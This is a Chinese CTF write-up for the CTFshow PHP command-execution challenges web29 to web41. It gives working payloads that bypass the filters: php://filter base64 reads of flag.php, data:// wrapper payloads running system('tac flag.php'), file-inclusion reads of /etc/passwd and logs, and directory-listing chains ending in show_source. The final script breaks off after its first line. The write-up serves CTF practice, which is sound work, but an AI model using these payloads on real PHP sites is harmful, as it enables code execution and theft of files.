CTF SHOW
web29~124
Web29
题目
1 |
|
其实两者的差距只在于一个%0a,改不改无所谓,下面解释各成分作用
- 首先是include+参数1,作用是包含参数1的文件,运用了文件包含漏洞,最后的文件名字可以改为/etc/passwd和nginx的日志文件来定位flag位置
- 然后是%0a作用,这是url回车符,因为空格被过滤。事实上,删去也无所谓,似乎php会自动给字符串和变量间添加空格(经检验,只在eval中有效,echo中无效,还是得要空格)
- 后面的?>的作用是作为绕过分号,作为语句的结束。原理是:php遇到定界符关闭标签会自动在末尾加上一个分号。简单来说,就是php文件中最后一句在?>前可以不写分号。
在c中引用了参数1,然后&后对参数1定义,运用文件包含漏洞
还可以使用data伪协议,日志注入
Web33
比起上道题多过滤了 “
使用文件包含漏洞一样的
Web34
比起上道题多过滤了 :
检查的内容只有c,而c在?>已经闭合了,不影响后续的1
Web35
比起上道题多过滤了 <, =
还是一样的
Web36
比起上到题多过滤了/,[0-9]
那需要修改一下传入的文件名
1 | c=include$_GET[a]?%3E&a=php://filter/convert.base64-encode/resource=flag.php |
Web37
题目
1 |
|
题目分析
这里不再是eval而是include了
下方打印了flag,所以c中必需包含flag.txt的内容
这里需要用到data伪协议
1 | ?c=data://text/plain,<?php system("tac flag.php")?> |
Web38
题目
1 | //flag in flag.php |
比起上题多过滤了php和file
一样的,用data伪协议和base64加密即可
Web39
1 |
|
这次在后面拼接上了.php
.是php的字符串拼接符
但其实这个拼接没有任何作用
先让我们来看看答案
1 | ?c=data://text/plain,<?= system('tac fla*');?> |
可以看到已经使用?>进行闭合了,那么php代码已经执行完毕并结束了。
强制给include添加后缀无法阻止伪协议内的php代码执行,只会在代码执行后报错
Web40
题目
1 |
|
这里把数字和几乎所有符号都过滤了,但是括号是中文括号,阴得没边了
做题思路
- 得到当前目录
1 | ?c=print_r(getcwd()); |
- 访问目录下文件
1 | ?c=print_r(scandir(getcwd())); |
得到flag在目录下第三个文件中(倒数第二个)
为了减少next的使用
数组移动操作
end() : 将内部指针指向数组中的最后一个元素,并输出
next() :将内部指针指向数组中的下一个元素,并输出
prev() :将内部指针指向数组中的上一个元素,并输出
reset() : 将内部指针指向数组中的第一个元素,并输出
each() : 返回当前元素的键名和键值,并将内部指针向前移动
所以倒置一下目录
- 倒置目录
1 | ?c=print_r(array_reverse(scandir(getcwd()))); |

- 数组指针后移
1 | ?c=print_r(next(array_reverse(scandir(getcwd())))); |
- 读取flag.php
1 | ?c=print_r(show_source(next(array_reverse(scandir(getcwd()))))); |

Web41
题目
1 | if(isset($_POST['c'])){ |
比起上道题,这道题过滤掉了所有字母,而且注意使用的是POST传参
可以看到还剩下一个 | 没有被过滤
脚本
1 | import re |